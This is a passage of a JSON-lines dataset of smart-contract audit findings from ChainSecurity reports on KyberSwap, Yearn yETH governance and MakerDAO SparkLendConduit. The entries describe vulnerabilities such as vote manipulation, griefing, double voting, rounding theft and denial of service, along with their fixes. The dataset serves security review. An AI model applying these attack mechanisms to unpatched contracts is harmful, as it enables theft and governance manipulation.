the Factory contract.\n\nSpecification changed:\n\nThe natspec specification has changed to specify that feeTo receives the fees from the flash loan.\n\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/ChainSecurity_Kyber_Network_KyberSwap_Elastic_Legacy_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/05/ChainSecurity_Kyber_Network_KyberSwap_Elastic_Legacy_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/05/ChainSecurity_Kyber_Network_KyberSwap_Elastic_Legacy_audit.pdf"}} {"title":"7.1 Pools for Tokens With Multiple Addresses","body":"Note Version 1\n\nThe factory creates pools for two token address. It reverts if either the two addresses are identical or the\npool has been already initialized for the token pair and the fee. However, some tokens (e.g. TUSD) have\ntwo addresses for the token. That allows for the creation of TUSD / TUSD pools, and multiple TUSD /\nother token pools with the same fee.","dataSource":{"name":"ChainSecurity/ChainSecurity_Kyber_Network_KyberSwap_Elastic_Legacy_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/05/ChainSecurity_Kyber_Network_KyberSwap_Elastic_Legacy_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/05/ChainSecurity_Kyber_Network_KyberSwap_Elastic_Legacy_audit.pdf"}} +{"title":"6.1 Blank Votes Not Counted","body":"```\nCorrectness High Version 1 Code Corrected\nCS-YEGOV-\n```\nIn InclusionVote, the winner is determined as follows:\n\n```\nif votes > winner_votes:\ncandidate: address = self.candidates[epoch][i]\nif self.rate_providers[candidate] in [empty(address), APPLICATION_DISABLED]:\n# operator could have unset rate provider after\ncontinue\nwinner = candidate\nwinner_votes = votes\n```\n\nThe zero (blank) candidate will not have a rate provider set. The condition for continue will be fulfilled\nand the winner_votes will not be set to the blank votes.\n\nAs a result, the blank votes are ignored and a candidate with fewer votes than the blank votes can\nbecome the winner.\n\nCode corrected:\n\nA special case has been added for candidate == 0x0. Now, the votes of the zero address are counted.\nAdditionally, the zero address's rate_provider is not set to APPLICATION_DISABLED when the zero\naddress is the winner.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.2 Balance Used Instead of Voting Weight in","body":"DelegateMeasure\n\n```\nCorrectness Medium Version 1 Code Corrected\nCS-YEGOV-\n```\nWhen computing the voting weight of an account, if the account has been delegated to, the following\nformula is used to compute the additional weight.\n\n```\nweight += Staking(staking).balanceOf(delegated) * self.delegate_multiplier / DELEGATE_SCALE\n```\nSince the balance can be altered without delay simply by acquiring the staking token on the spot, the call\nto balanceOf is prone to manipulation.\n\nThis issue was found during the review. It was also reported independently by Yearn while the review\nwas still ongoing.\n\nCode corrected:\n\nThis was fixed in Version 2 by storing delegated stake in a separate vault, which only updates\nvote_weight at the end of the week.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.3 Griefing by Flooding Malicious Proposals","body":"```\nDesign Medium Version 1 Code Corrected\nCS-YEGOV-\n```\nIn GenericGovernor, as long as an attacker holds at least propose_min_weight tokens, they can\nsubmit as many proposals as they want, paying only gas.\n\nIf these proposals would hurt the protocol, other users are forced to vote nay each time, to ensure the\nproposal does not pass. There is no quorum needed to pass a proposal.\n\nIt may also be problematic if the same proposal is submitted multiple times. Voters will need to\ncoordinate and choose which of these they want to pass, while rejecting the others. See also: Voters trust\nproposal author not to retract.\n\nCode corrected:\n\n\nA quorum has been added to the GenericGovernor, meaning that a minimum number of yes + no votes is\nnow required for a proposal to pass. Governance functions for setting the quorum, as well as view\nfunctions to read it have also been added.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.4 InclusionVote Operator Trust","body":"```\nTrust Medium Version 1 Code Corrected\nCS-YEGOV-\n```\nThe InclusionVote contract has an operator role, which is tasked with setting rate providers for\nproposed tokens.\n\nIn the current implementation, the operator can change the rate provider at any time. In particular, it\ncan change the rate provider even after voters have already voted.\n\nThis design results in the operator role needing to be fully trusted to set a correct rate provider.\n\nIf an alternative design was chosen where the rate provider can no longer change between the beginning\nof the voting period and finalize_epoch(), the voters could ensure that they are voting for a correct\nrate provider and that it cannot change after their vote. This would reduce the trust assumption on the\noperator role.\n\nCode corrected:\n\nNow, the operator can only change a rate provider that was previously set if:\n\n```\n1.The voting period of the current epoch has not started\n```\n```\n2.The previous epoch has already been finalized\n```\nIf the rate provider has never been set (still 0x0), it can still be added at any time.\n\nThis means that voters can now independently check that the operator has set a correct rate provider,\nand can be sure that it will not change after they vote. This reduces the trust required in the operator.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.5 Proposals Can Be Enacted After More Than","body":"One Epoch\n\n```\nCorrectness Medium Version 1 Code Corrected\nCS-YEGOV-\n```\nTo enact proposals in the GenericGovernor via enact, the proposal state is checked and asserted to\nbe PASSED by calling _proposal_state(). The function _proposal_state explicitly returns\nPASSED only if current_epoch == vote_epoch + 1. Consequently, a proposal must be enacted\none epoch after vote_epoch.\n\nHowever, by calling update_proposal_state() on a proposal that just passed, it is possible to set\nthe state of this proposal to PASSED in storage. In this case, it is possible to circumvent the condition that\na proposal needs to be enacted one epoch after vote_epoch, because _proposal_state() returns\nPASSED from now on due to: if state != STATE_PROPOSED return state.\n\nThis will allow the execution of the proposal forever, even though it should revert if it is not executed in\nthe epoch after passing.\n\nCode corrected:\n\n\nThe state is now reevaluated when calling _proposal_state(), even if the storage was set to\nPASSED.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.6 Voters Trust Proposal Author Not to Retract","body":"```\nTrust Medium Version 1 Code Corrected\nCS-YEGOV-\n```\nIn GenericGovernor, a proposal can be retracted by its author at any point up until the end of the\nvoting period. This means that the author can grief voters by retracting maliciously.\n\nConsider the following situation:\n\n```\n1.The community decides off-chain that a certain proposal is something they want to vote on.\n2.Alice has propose_min_weight votes and anonymously submits the proposal.\n```\n```\n3.The proposal receives 99% yea votes.\n4.One hour before the vote period ends, Alice retracts the proposal.\n5.Now the proposal will not be executable and it will take at least another epoch until it can be voted\non again and pass.\n```\nTo avoid this, the proposal author needs to be trusted by the voters.\n\nAs a possible countermeasure, the same proposal could be submitted multiple times by different authors.\nHowever, this could be problematic if the proposal does something which should not happen multiple\ntimes, (e.g., send some tokens) and more than one of the proposals pass.\n\nCode corrected:\n\nProposals can now no longer be retracted once the voting period has begun.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.7 Access Control Can Have Invalid Value","body":"```\nDesign Low Version 1 Code Corrected\nCS-YEGOV-\n```\nThe access control in Executor is set using the Access enum. When something should have a whitelist,\nthe enum is set to a value of 1 , when it should have a blacklist, it is set to a value of 2. If neither is true, it\nshould be set to the default value of 0.\n\nHowever, in Vyper it is also possible to set enum in such a way that multiple \"flags\" are set at once, not\njust one. set_access() has no sanity check for the access argument. As a result, set_access()\ncould be called by the management with a value of 3 , which is a valid value in Vyper and represents the\nstates whitelist and blacklist being true at the same time.\n\nHowever, the contract is not designed to handle this value and will treat it the same as 0.\n\nCode corrected:\n\nA check has been added that disallows values that are greater than 2. Now the only possible enum\nvalues are default, whitelist and blacklist.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.8 Delegation Could Allow Double Voting","body":"```\nDesign Low Version 1 Code Corrected\nCS-YEGOV-\n```\nIn DelegateMeasure, an address that has given a delegation to another address, has a vote_weight of\n0 , which means it can no longer vote directly.\n\nHowever, the delegate() function does not check if the address that is giving delegation has\npreviously voted during the current epoch. As a result, it is possible that an address first votes with its\nown vote_weight, then delegate() is called. This would allow the voting power to be used a second\ntime by the address receiving the delegation.\n\nNote that delegate() can only be called by the management role, which is expected to be used\nthrough the GenericGovernor. In this case, the issue can be avoided by calling enact() before the\nVOTE_PERIOD starts, given that the delay is smaller than VOTE_START.\n\nCode corrected:\n\nThis was fixed in Version 2 by storing delegated stake in a separate vault, which only updates\nvote_weight at the end of the week.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.9 Number of Assets Could Change During Vote","body":"```\nDesign Low Version 1 Code Corrected\nCS-YEGOV-\n```\nIn WeightVote, the number of assets in the Pool is queried once when the first vote in a voting period\nhappens. The value is cached and not updated for the rest of the epoch.\n\nIf the number of assets changes within the voting period, it will be impossible to vote for the newly voted\nasset. This would only happen if the execute function of PoolGovernor is called late (in the last week of\nthe epoch) by the operator.\n\nCode corrected:\n\nYearn removed the caching of the number of tokens and now queries them directly from the pool.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.10 Race Condition in GenericGovernor","body":"```\nDesign Low Version 1 Code Corrected\nCS-YEGOV-\n```\nIf a proposal is passed that stops another proposal in the same epoch from being enacted, whether by\nexplicitly canceling it or by modifying common parameters such as majority, then a race condition\noccurs whereby depending on the order in which the proposals are enacted, the end result is different.\n\nNote that enact() can be called by anyone, thus this ordering is also subject to MEV.\n\nYearn found and reported this issue while the review was ongoing.\n\nCode corrected:\n\n\nIn Version 2, enact() uses the values of majority and delay snapshotted at the end of the previous\nepoch.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.11 Majority Parameter Can Be Less Than Fifty","body":"Percent\n\n```\nInformational Version 1 Code Corrected\nCS-YEGOV-\n```\nIn GenericGovernor, the majority parameter can counterintuitively be set to less than 50%.\n\nThis would mean that a proposal with more no votes than yes votes can pass.\n\nCode corrected:\n\nYearn now enforces a range betweeen VOTE_SCALE / 2 and VOTE_SCALE for majority.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.12 Missing Events","body":"```\nInformational Version 1 Specification Changed\nCS-YEGOV-\n```\nThe constructors of DelegateMeasure, Executor, GenericGovernor, InclusionIncentives,\nInclusionVote, OwnershipProxy, PoolGovernor, WeightIncentives and WeightVote do not\nemit the SetManagement() event.\n\nSpecfication changed\n\nYearn answered:\n\n```\nThis is intentional, as it would require to also emit events for a lot of other parameters\nduring the constructor to be fully consistent. For example, in the\ngeneric governor constructor we set a value for measure, delay, quorum, majority and delay.\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.13 Sanity Checks","body":"```\nInformational Version 1 Code Corrected\nCS-YEGOV-\n```\nMultiple functions do not sanitize their input. E.g., the Executor contract in set_access(),\nset_governor(), whitelist() and blacklist() do not check for address zero. We advise\nreviewing which functions would benefit from a sanity check, even if they are permissioned.\n\nCode corrected:\n\nYearn changed the listed functions and implemented sanity checks. We additionally assume Yearn\nchecked all other potential functions and added checks.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"6.14 Should Governance Be Able to Evict the","body":"Treasury\n\n```\nInformational Version 1 Specification Changed\nCS-YEGOV-\n```\nIn the setTreasury() function of InclusionVote, InclusionIncentives and\nWeightIncentives, the management role has the power to change the treasury address to an\narbitrary value. The yETH protocol is designed to be governed by st-yETH holders. At the same time,\nYIP-72 says that the treasury should be the \"Yearn Treasury or an autonomous splitter contract directed\nby yBudget.\" Is it intended that holders are able to direct the treasury revenue away from Yearn?\n\nSpecification changed\n\nThis described behavior was originally intended. But after being raised and careful consideration, Yearn\ndecided that only the treasury shall be allowed to call setTrasury and changed the code accordingly.\n\n\n\nWe utilize this section to point out informational findings that are less severe than issues. These\ninformational issues allow us to point out more theoretical findings. Their explanation hopefully improves\nthe overall understanding of the project's security. Furthermore, we point out findings which are unrelated\nto security.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"7.1 Gas Optimisations","body":"```\nInformational Version 1 Code Partially Corrected\nCS-YEGOV-003\n```\nWe discovered the following potential gas optimizations:\n\n```\n1.The Proxy interface in Executor uses Bytes[65536] as data argument, but the OwnershipProxy\nonly supports Bytes[2048]. The calldata variable in execute() also uses this large Array\nsize. In Vyper, arrays reserve memory slots for their maximum size, even when many of the\nelements are zero. As a result, the memory will be extended by 65536 Bytes as soon as another\nvariable is placed in memory after the array. This is very expensive.\n2.uint could be used instead of boolean values. E.g., as governor flag in Executor.\n```\nCode partially corrected\n\nYearn decided to decrease the overall max script size to Bytes[2048]. In the rare case that a proposal\nrequires a script larger than this, they can work around it by deploying a one-time use contract that is\ngranted a temporary governor role during execution.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"7.2 PoolGovernor Can Skip Epochs","body":"```\nInformational Version 1\nCS-YEGOV-001\n```\nThe PoolGovernor's execute function always executes the vote results for epoch - 1. This means\nthat if execute() is not called during an epoch, the preceding epoch's vote results will never be\nexecuted.\n\nThe winner in InclusionVote has its rate_provider set to APPLICATION_DISABLED, so if an asset\nwins but then the execution of the winning epoch is skipped, that asset cannot be proposed again unless\nthe operator of InclusionVote sets the rate_provider again.\n\nThe execute function can only be called by the operator of PoolGovernor. If the operator is\nunavailable or malicious, it may not be called.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"7.3 Unused Code","body":"```\nInformational Version 1 Code Partially Corrected\nCS-YEGOV-004\n```\nThe following code is not used:\n\n- WeightVote: the interface definition of Measure.total_vote_weight\n- InclusionVote: the interface Measure.total_vote_weight\n\n\n- InclusionIncentives: the interface voting.candidates_map and the constants\n VOTE_START and VOTE_LENGTH.\n- WeightIncentives: the constants VOTE_LENGTH and VOTE_START\n- GenericGovernor: the interface definition Measure.total_vote_weight\n\nCode partially corrected\n\nThe unused interfaces were removed. The unused constants still exist in WeightIncentives.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"7.4 DelegatedStaking Does Not Strictly","body":"Conform to ERC-4626\n\n```\nInformational Version 1\nCS-YEGOV-002\n```\nmaxDeposit() and maxMint() return. Per ERC-4626, \"MUST NOT be higher than the actual\nmaximum that would be accepted\". The balance is eventually stored packed in only 240-bits. Therefore,\nthe theoretical maximum is. However, this is not enforced in the code, rather the supply of ETH\nis assumed to upper-bound the system.\n\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"8.1 Epoch Boundary Agreement","body":"Note Version 1\n\nTo prevent double voting, VOTE_LENGTH should always be at most one week, EPOCH_LENGTH should\nalways be a multiple of one week, and genesis should be set to a multiple of one week. This is to be\nconsistent with the current Staking contract which provides voting weights.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"8.2 Governance Proposal Passes In The Event Of","body":"A Tie\n\nNote Version 1\n\nIn GenericGovernor, the condition for a proposal to be treated as passed is as follows:\n\n```\nif votes > 0 and yea * VOTE_SCALE >= votes * self.majority:\nreturn STATE_PASSED\n```\nAssuming majority is 50% and a proposal has one yea and one nay vote, it will pass.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"8.3 Limted Number of Pool Tokens","body":"Note Version 1\n\nPools have 32 slots. This sets a cap to the maximum number of tokens to add. Once included, a token\ncan never be removed from the protocol. Removing tokens from a pool would need a redeploy.\n\nIn PoolGovernor, the execute function will get the winner of the InclusionVote and try to add it to the\nPool.\n\nIf there are already 32 assets in the Pool and InclusionVote has a winner, execute() will revert. This\nwill also make it impossible to change the weights during that epoch.\n\nThe management of InclusionVote should call disable() once there are 32 assets to avoid this.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"8.4 Power of the PoolGovernor Operator","body":"Note Version 1\n\nThe specifications currently say that the operator of PoolGovernor has limited power. This is true but the\noperator role is still extremely powerful as it must be trusted to set the pool values like amplification and\nramping in a non-exploitable way. The parameters the operator role can set are critical in a yETH pool\nand related to other parameters. Hence, as mentioned in the system assumptions, ths role needs to be\nfully trusted.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"8.5 Ramp_Duration Should Be Chosen Carefully","body":"Note Version 1\n\nThe ramp_duration variable in PoolGovernor should be chosen carefully. If it is too short, it may be\npossible to make profitable sandwich attacks.\n\nIt should also not be too long. In particular, it must be shorter than the length of an epoch, as assets\ncannot be added to the Pool while there is an ongoing ramp. The operator of PoolGovernor should\ncall execute() at least ramp_duration before the end of the epoch, so that the ramp ends by the\ntime execute() is callable again.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"8.6 Rebasing and Fee-On-Transfer Tokens Cannot","severity":"info","body":"Be Used as Incentives\n\nNote Version 1\n\nBoth InclusionIncentives and WeightIncentives keep internal balances for tokens used as\nincentives. This is done in such a way that, if the contract ends up with more tokens than expected, then\nthe leftover amount will be lost. If the contract ends up with fewer tokens than expected, then\ntransfer() will fail and the last user to claim will not be able to receive the incentives they are owed.","dataSource":{"name":"ChainSecurity/ChainSecurity_Yearn_yETH_Governance_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/11/ChainSecurity_Yearn_yETH_Governance_audit.pdf"}} +{"title":"5.1 Facilitators Have Incentive to Withdraw Funds","body":"```\nDesign Low Version 1 Risk Accepted\nCS-SPC-\n```\nThe allocation system assigns facilitator roles to some accounts chosen by the respective SubDAO.\nFacilitators can, amongst other things, call the ConduitMover contract which gives them access to the\nSparkConduit.withdraw() function.\n\nWithdrawing all available liquidity from Spark increases the utilization of the pool to 100%. Since\nutilization is a factor of the supply rate of the DAI/NST pools, and because third party supplying is allowed\non these pools, facilitators that have an open supply position on the pool can increase their interest rate\nby withdrawing funds.\n\nRisk accepted:\n\nMakerDAO accepts the risk giving the following statement:\n\n```\nThis will be mitigated through Maker disincentivizing this behaviour.\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf"}} +{"title":"5.2 withdraw() and requestFunds() Can Be","body":"Prevented\n\n```\nSecurity Low Version 1 Code Partially Corrected Risk Accepted\nCS-SPC-\n```\nExternal attackers can conduct Denial of Service attacks against the conduit by targeting withdraw()\nand requestFunds() requirements.\n\n\nAn attacker can supply 1 wei of liquidity to an aToken whose reserve balance is otherwise empty, and\nprevent requestFunds() from being callable.\n\nSimilarly, an attacker with enough collateral balance can borrow all the available liquidity before\nwithdraw() or withdrawAndRequestFunds() operations from the SubDAOs, and repay it just after,\npreventing the SubDAOs from withdrawing their funds, while incurring little interest accrual since the debt\nis only held for the time of a few blocks.\n\nAn economic incentive for these attacks could be present if the attacker is also a third-party supplier. In\nthat case, it could be within their interest to keep the interest rates high by preventing SubDAOs to\nwithdraw after a requestFunds() has been triggered.\n\nCode partially corrected:\n\nThe functions requestFunds() and withdrawAndRequestFunds() no longer exist.\n\nRisk accepted:\n\nClient states they will submit transactions that will not be frontrun in this way.\n\n\n\nHere, we list findings that have been resolved during the course of the engagement. Their categories are\nexplained in the Findings section.\n\nBelow we provide a numerical overview of the identified findings, split up by their severity.\n\n```\nCritical-Severity Findings 0\n```\n```\nHigh-Severity Findings 0\n```\n```\nMedium-Severity Findings 0\n```\n```\nLow-Severity Findings 1\n```\n- Withdrawer Can Steal 1 Wei Code Corrected\n\n```\nInformational Findings 6\n```\n- Gas Optimizations Code Corrected\n- Floating Pragma Code Corrected\n- Missing Event Code Corrected\n- Inaccurate Naming and Comments Code Corrected\n- Outdated Aave Version Used Code Corrected\n- subsidySpread Overflow Code Corrected","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf"}} +{"title":"6.1 Withdrawer Can Steal 1 Wei","body":"```\nDesign Low Version 1 Code Corrected\nCS-SPC-\n```\nWhen withdrawing, an amount of tokens is specified and the corresponding amount of shares is\ndeducted from the ilk's balance. Since _convertToShares() rounds down in its division, a too small\namount of shares will be deducted. Specifically, if the ilk withdraws 1 wei, 0 shares will be deducted\n(since the index is greater than 1).\n\nCode corrected:\n\nWhen withdraw() is called, _convertToSharesRoundUp() is now used, which rounds up the\namount of shares to deduct, removing the possiblity of 1 wei stealing.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf"}} +{"title":"6.2 Floating Pragma","body":"```\nInformational Version 1 Code Corrected\nCS-SPC-\n```\nThe contracts have a floating pragma of ^0.8.13 and there is no fixed compiler version in\nfoundry.toml. To make sure that the contracts are always compiled in a predictable manner, the\npragma should be fixed to a stable compiler version.\n\n\nCode corrected:\n\nSolidity version has been fixed to 0.8.20 in foundry.toml.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf"}} +{"title":"6.3 Gas Optimizations","body":"```\nInformational Version 1 Code Corrected\nCS-SPC-\n```\nwithdrawAndRequestFunds() is guarded by the ilkAuth modifier, and calls internally withdraw()\nand requestFunds() which are also guarded by ilkAuth. This causes ilkAuth to be evaluated at\nmost 3 times within a call of withdrawAndRequestFunds(), which is inefficient in terms of gas, since\nilkAuth includes an external call and several SLOADs.\n\nFunction cancelFundRequest() requires an unnecessary SLOAD when decreasing\nrequestedShares instead of setting it to 0 directly.\n\nwithdrawAndRequestFunds() queries getAvailableLiquidity() twice, once in its own function\nbody, and then again in withdraw(). If withdraw() would return early when\ngetAvailableLiquidity() == 0, or generally when the amount computed at line 133 equals 0 , a\nsingle querying of the liquidity would be sufficient.\n\nCode corrected:\n\nAll mentioned functions have been removed.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf"}} +{"title":"6.4 Inaccurate Naming and Comments","body":"```\nInformational Version 1 Code Corrected\nCS-SPC-\n```\nIn SparkConduit:\n\n```\n1.The naming of the _totalWithdrawals return parameter of getAssetData() is\nambiguous\nas it represents the total requested funds.\n2.The naming of the _requestedShares return parameter of getPosition() is\ninaccurate\nas it doesn't represent a share amount but a token amount.\n```\nIn DaiInterestRateStrategy:\n\n```\n1.The comment describing the contract references D3M, but the contract will be used in the\ncontext of the allocator system which sunsets D3M.\n```\nCode corrected:\n\n```\n1._totalWithdrawals has been renamed to _totalRequestedFunds.\n2._requestedShares has been renamed to _requestedFunds.\n```\n\nDaiInterestRateStrategy still contains a comment about D3M.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_SparkLendConduit_audit-1.pdf"}} +{"title":"6.5 Missing Event","body":"```\nInformational Version 1 Code 